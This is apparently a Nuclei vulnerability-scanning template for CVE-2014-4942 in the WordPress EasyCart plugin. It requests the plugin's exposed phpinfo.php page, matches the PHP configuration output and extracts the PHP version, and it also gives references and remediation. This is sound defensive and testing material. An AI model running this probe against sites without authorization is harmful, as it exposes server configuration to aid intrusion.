id: CVE-2014-4942

info:
  name: WordPress EasyCart <2.0.6 - Information Disclosure
  author: DhiyaneshDk
  severity: medium
  description: |
    WordPress EasyCart plugin before 2.0.6 contains an information disclosure vulnerability. An attacker can obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function.
  impact: |
    An attacker can gain sensitive information from the target system.
  remediation: |
    Upgrade to WordPress EasyCart version 2.0.6 or later.
  reference:
    - https://wpscan.com/vulnerability/64ea4135-eb26-4dea-a13f-f4c1deb77150
    - https://codevigilant.com/disclosure/wp-plugin-wp-easycart-information-disclosure
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4942
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4942
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=829290%40wp-easycart&old=827627%40wp-easycart&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4942
    cwe-id: CWE-200
    epss-score: 0.01496
    epss-percentile: 0.81355
    cpe: cpe:2.3:a:levelfourdevelopment:wp-easycart:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: levelfourdevelopment
    product: wp-easycart
    framework: wordpress
  tags: cve2014,cve,wpscan,wordpress,wp-plugin,wp,phpinfo,disclosure,levelfourdevelopment,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-easycart/inc/admin/phpinfo.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
# digest: 4b0a0048304602210085a0b70993f2a104546b15c26b181380af558ab7d5e81ca9c5ad5a8e53a6a701022100f84760ef8125b5663850929b13f29956966f6073f1c363e56848e0eaa5827e84:922c64590222798bb761d5b6d8e72950